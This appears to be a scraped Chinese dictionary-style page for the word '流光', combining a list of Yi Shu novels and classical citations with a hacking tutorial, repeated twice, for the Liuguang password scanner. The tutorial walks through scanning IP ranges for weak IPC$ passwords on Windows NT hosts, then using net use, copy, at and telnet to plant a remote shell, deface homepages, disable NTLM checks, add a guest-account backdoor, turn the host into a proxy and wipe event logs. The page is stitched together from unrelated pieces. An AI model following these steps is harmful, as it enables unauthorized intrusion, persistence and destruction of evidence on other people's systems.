|
|
| |
|
作者: 亦舒 Yi Shu
COMA
残酷游戏
对窗
跟踪
假期过后
离家
流光
他人情书
天使
我恨你
新生 |
|
| 时光 |
|
| 总把流光误。——《儒林外史》 |
|
| 流光易逝 |
|
| 谓福泽流传至后世。《穀梁传·僖公十五年》：“德厚者流光，德薄者流卑。” 宋 罗大经 《鹤林玉露》卷六：“若从 孔 孟 治地之法，则仁者必寿，善者必福，清明之志气如神，厚德之流光寖远。” 清 钱谦益 《太仆寺毕自严祖忠臣加赠大中大夫制》：“酬而劬后之劳，示我流光之报。” |
|
| 流动、闪烁的光彩。 汉 司马相如 《上林赋》：“应駍声，击流光，野尽山穷，囊括其雌雄。”《南史·宋元凶劭传》：“时主夕卧，见流光相随，状若萤火。” |
|
| 特指如水般流泻的月光。 三国 魏 曹植 《七哀》诗：“明月照高楼，流光正徘徊。” 唐 长孙佐辅 《横吹曲辞·关山月》：“忽忆秦楼妇，流光应共有。” 清 方文 《秋夜饮顾与治斋中》诗：“清暉在山川，流光及城闕。” |
|
| 指如流水般逝去的时光。 唐 鲍防 《人日陪宣州范中丞传正与范侍御传真宴东峰亭》诗：“流光易去懽难得，莫厌频频上此臺。” 宋 宋祁 《浪淘沙·别刘原父》词：“少年不管，流光如箭，因循不觉韶华换。” 柯灵 《香雪海·春节书红》：“又是一年过去了，真是流光如驶！” |
|
〈书〉①光阴；岁月：～如箭ㄧ～易逝。
②闪烁流动的光，特指月光。 |
|
流光的破解可分为5大部分：
一、pop3/ftp/…探测
二、ipc探测
三、sql探测
四、高级扫描
五、其它 …
因为开发时间的原因，上面的探测模式略有不同，所以分成了四个部分，本教程说的是第一个部分的探测。后面的探测模式应该属于流光的高级应用了：）
流光的ipc探测：
一、目的和任务：
1、用流光的ipc探测获得一台nt主机的管理权限，并将这台主机做成一个跳板/代理。
2、学习ipc探测的相关知识。
二、探测流程：
1、你得有流光，我这里试验用的是流光2001.for win2000 中文版。for win98的不可以。因为ipc连接功能是nt/ 2000提供的功能。而且流光for 2k 要求你的操作系统得是nt/2000，否则流光启动会失败！
什么是ipc：
ipc是指"interprocess communications",准确的说是ipc$，是默认的在系统启动时的admin共享。
ipc$是windows nt/2k中特有的远程网络登陆功能，它的特点是在同一时间内，两个ip之间只允许建立一个连接。
注意，你试图通过ipc$连接会在eventlog中留下记录。不管你是否登录成功。
可不可以通过ipc$暴力破解密码？当然可以 ！ 不过，是不是太笨了点 …
2、首次启动流光，会看到注册的画面，具体操作请参考本人第一篇教程。我们在主页面上可以有几种方法来通过ipc 探测获得管理的权限。这里我们要作的是得到一台跳板，那么就可以用命中率高的办法来探测了（测试一堆ip来得到弱口令）。
在主界面选择 探测→探测pop3/ftp/nt/sql主机选项，或者直接按ctrl+r。
3、出先了上面的小窗口，输入我们要破解的ip段，我们输入了来看看。图main2我们把“将frontpage主机自动加入http主机列表取消了”。因为我们只想获得ipc弱口令，这样可以加快扫描的速度 ：）填入ip，选择扫描nt/98主机
4、探测中……
（注意如果你要探测的是流光保留的国内的ip段，会被禁止的，也就是探测的时候信息栏出现"ip保留"的字样）
有远程主机的管理密码了，我们剩下的就是想办法控制它了，有什么好办么？ ：）有的是 ！自己看看工具－菜单下的iis远程命令:)是不是很简单呢，我以后在说，今天还是先练习net 命令吧。
黑了他 ！
开个dos prompt 执行如下命令，本次用的例子如下图。
1、 net use 对方ipipc$ "密码" /user:"用户名" || 建立远程连接
2、 copy icmd.exe 对方ipadmin$ || admin$是对方的winnt目录 ：） 这里文件多。
3、 net time 对方ip || 看看对方的本地时间
4、at 对方ip 启动程序的时间 启动程序名 启动程序的参数 || 用at命令来定时启动程序，在这里我们用soon这个程序来做也可以，它可以取代 3/4两步。
5、 telnet 对方ip 端口 ||
6、输入pass （如果不是用icmd.exe，或者没有设置口令就不用了） ||
7、在开个窗口，继续copy 我们用的东西。 copy sock.exe copy ntlm.exe copy cl.exe clear.exe
如果我们真的想黑了他，只需要把我们的首页文件覆盖目标的首页就ok了，我们可以通过dir /s default或者dir /s index 来确定对方首页的为止，一般是在x:interpubwwwroot .
假如首页文件是default并且在c:interpubwwwroot，这样:copy default ipc$interpubwwwroot
下面的图有演示
8、其实黑人家是很低级并且没意思的：（，我们最好是物有所有，作成跳板吧，今后干活方便点：
执行我们copy 过去的ntlm.exe ，取消验正。在给自己留个后门，比如提升guest的权限，或者其它的后门工具，这类东西多了自己选吧，看看杀手copy的那堆东西 ：）
9、还能做成其他的么 ？
当然了，只要你有时间，并且愿意做，我曾经偷偷的把自己的主页放到人家的server上，速度快、空间无限，嘿嘿 ：）
10、日志清除，断开连接 ：
执行我们copy 过去的cl.exe clear.exe 都可以清除日志，比如clear all ：清除所有的日志。然后在断开连接：net use ipipc$ /_delete_
流光简介
流光4.7)一个绝好的ftp、pop3解密工具，界面豪华，功能强大！功能简介如下：1、用于检测pop3/ftp主机中用户密码安全漏洞。2、163/169双通。3、多线程检测，消除系统中密码漏洞。4、高效的用户流模式。5、高效服务器流模式，可同时对多台pop3/ftp主机进行检测。6、最多500个线程探测。7、线程超时设置，阻塞线程具有自杀功能，不会影响其他线程。8、支持10个字典同时检测。9、检测设置可作为项目保存。10、取消了国内ip限制而且免费。
流光4.7新增功能：
1、加入了本地模式，在本机运行是不必安装sensor。
2、sensor扫描临时结果文件(*.ptr)的尺寸大约减少了10倍。
3、后台扫描模式时，扫描的结果（*.ptr）可以直接通过附件发送到信箱。
4、sensor的扫描速度加快。
5、减少了sensor异常退出的bug。
6、流光的界面和sensor之间的通讯采用triple-des，密钥的长度最多可到192bits，保证整个传输过程不可监听。扫描的结果也只有在密钥正确的情况下才可阅读。
7、修正的控制服务，新的控制服务在升级sensor时不再会失败。
8、sensor的服务名称可以任意指定，控制服务和sensor的进程名称也可以任意指定。
9、支持xp（本地模式），很快会有98/me的版本。 |
|
【拼音】：líu guāng
【释义】：（1）指光阴；（2）指光彩闪烁；（3）指月光。
【探源】：
（1）李白《古风》：“逝川与流光，飘忽不相待。”
（2）曹丕《济川赋》：“明珠灼灼而流光。”
（3）曹植《七哀》诗：“明月照高楼，流光正徘徊。”
流光的破解可分为5大部分：
一、POP3/FTP/…探测
二、IPC探测
三、SQL探测
四、高级扫描
五、其它 …
因为开发时间的原因，上面的探测模式略有不同，所以分成了四个部分，本教程说的是第一个部分的探测。后面的探测模式应该属于流光的高级应用了：）
流光的IPC探测：
一、目的和任务：
1、用流光的IPC探测获得一台NT主机的管理权限，并将这台主机做成一个跳板/代理。
2、学习IPC探测的相关知识。
二、探测流程：
1、你得有流光，我这里试验用的是流光2001.FOR Win2000 中文版。FOR Win98的不可以。因为IPC连接功能是NT/ 2000提供的功能。而且流光FOR 2K 要求你的操作系统得是NT/2000，否则流光启动会失败！
什么是IPC：
IPC是指"InterProcess Communications",准确的说是ipc$，是默认的在系统启动时的admin共享。
IPC$是Windows NT/2K中特有的远程网络登陆功能，它的特点是在同一时间内，两个IP之间只允许建立一个连接。
注意，你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。
可不可以通过IPC$暴力破解密码？当然可以 ！ 不过，是不是太笨了点 …
2、首次启动流光，会看到注册的画面，具体操作请参考本人第一篇教程。我们在主页面上可以有几种方法来通过IPC 探测获得管理的权限。这里我们要作的是得到一台跳板，那么就可以用命中率高的办法来探测了（测试一堆IP来得到弱口令）。
在主界面选择 探测→探测POP3/FTP/NT/SQL主机选项，或者直接按Ctrl+R。
3、出先了上面的小窗口，输入我们要破解的IP段，我们输入了来看看。图main2我们把“将FrontPage主机自动加入HTTP主机列表取消了”。因为我们只想获得IPC弱口令，这样可以加快扫描的速度 ：）填入IP，选择扫描NT/98主机
4、探测中……
（注意如果你要探测的是流光保留的国内的IP段，会被禁止的，也就是探测的时候信息栏出现"IP保留"的字样）
有远程主机的管理密码了，我们剩下的就是想办法控制它了，有什么好办么？ ：）有的是 ！自己看看工具－菜单下的IIS远程命令:)是不是很简单呢，我以后在说，今天还是先练习net 命令吧。
黑了他 ！
开个dos prompt 执行如下命令，本次用的例子如下图。
1、 net use 对方ipipc$ "密码" /user:"用户名" || 建立远程连接
2、 copy icmd.exe 对方ipadmin$ || admin$是对方的winnt目录 ：） 这里文件多。
3、 net time 对方IP || 看看对方的本地时间
4、at 对方ip 启动程序的时间 启动程序名 启动程序的参数 || 用at命令来定时启动程序，在这里我们用soon这个程序来做也可以，它可以取代 3/4两步。
5、 telnet 对方ip 端口 ||
6、输入pass （如果不是用icmd.exe，或者没有设置口令就不用了） ||
7、在开个窗口，继续copy 我们用的东西。 copy sock.exe copy ntlm.exe copy cl.exe clear.exe
如果我们真的想黑了他，只需要把我们的首页文件覆盖目标的首页就ok了，我们可以通过dir /s default.htm或者dir /s index.htm 来确定对方首页的为止，一般是在X:interpubwwwroot .
假如首页文件是default.htm并且在c:interpubwwwroot，这样:copy default.htm ipc$interpubwwwroot
下面的图有演示
8、其实黑人家是很低级并且没意思的：（，我们最好是物有所有，作成跳板吧，今后干活方便点：
执行我们copy 过去的ntlm.exe ，取消验正。在给自己留个后门，比如提升guest的权限，或者其它的后门工具，这类东西多了自己选吧，看看杀手copy的那堆东西 ：）
9、还能做成其他的么 ？
当然了，只要你有时间，并且愿意做，我曾经偷偷的把自己的主页放到人家的server上，速度快、空间无限，嘿嘿 ：）
10、日志清除，断开连接 ：
执行我们copy 过去的cl.exe clear.exe 都可以清除日志，比如clear all ：清除所有的日志。然后在断开连接：net use ipipc$ /delete
流光简介
流光4.7)一个绝好的ftp、pop3解密工具，界面豪华，功能强大！功能简介如下：1、用于检测POP3/FTP主机中用户密码安全漏洞。2、163/169双通。3、多线程检测，消除系统中密码漏洞。4、高效的用户流模式。5、高效服务器流模式，可同时对多台POP3/FTP主机进行检测。6、最多500个线程探测。7、线程超时设置，阻塞线程具有自杀功能，不会影响其他线程。8、支持10个字典同时检测。9、检测设置可作为项目保存。10、取消了国内IP限制而且免费。
流光4.7新增功能：
1、加入了本地模式，在本机运行是不必安装Sensor。
2、Sensor扫描临时结果文件(*.PTR)的尺寸大约减少了10倍。
3、后台扫描模式时，扫描的结果（*.PTR）可以直接通过附件发送到信箱。
4、Sensor的扫描速度加快。
5、减少了Sensor异常退出的BUG。
6、流光的界面和Sensor之间的通讯采用Triple-DES，密钥的长度最多可到192bits，保证整个传输过程不可监听。扫描的结果也只有在密钥正确的情况下才可阅读。
7、修正的控制服务，新的控制服务在升级Sensor时不再会失败。
8、Sensor的服务名称可以任意指定，控制服务和Sensor的进程名称也可以任意指定。
9、支持XP（本地模式），很快会有98/ME的版本。 |
|
- : Liuguang
- n.: streamer, time
|
|
| 流光村 |
|
|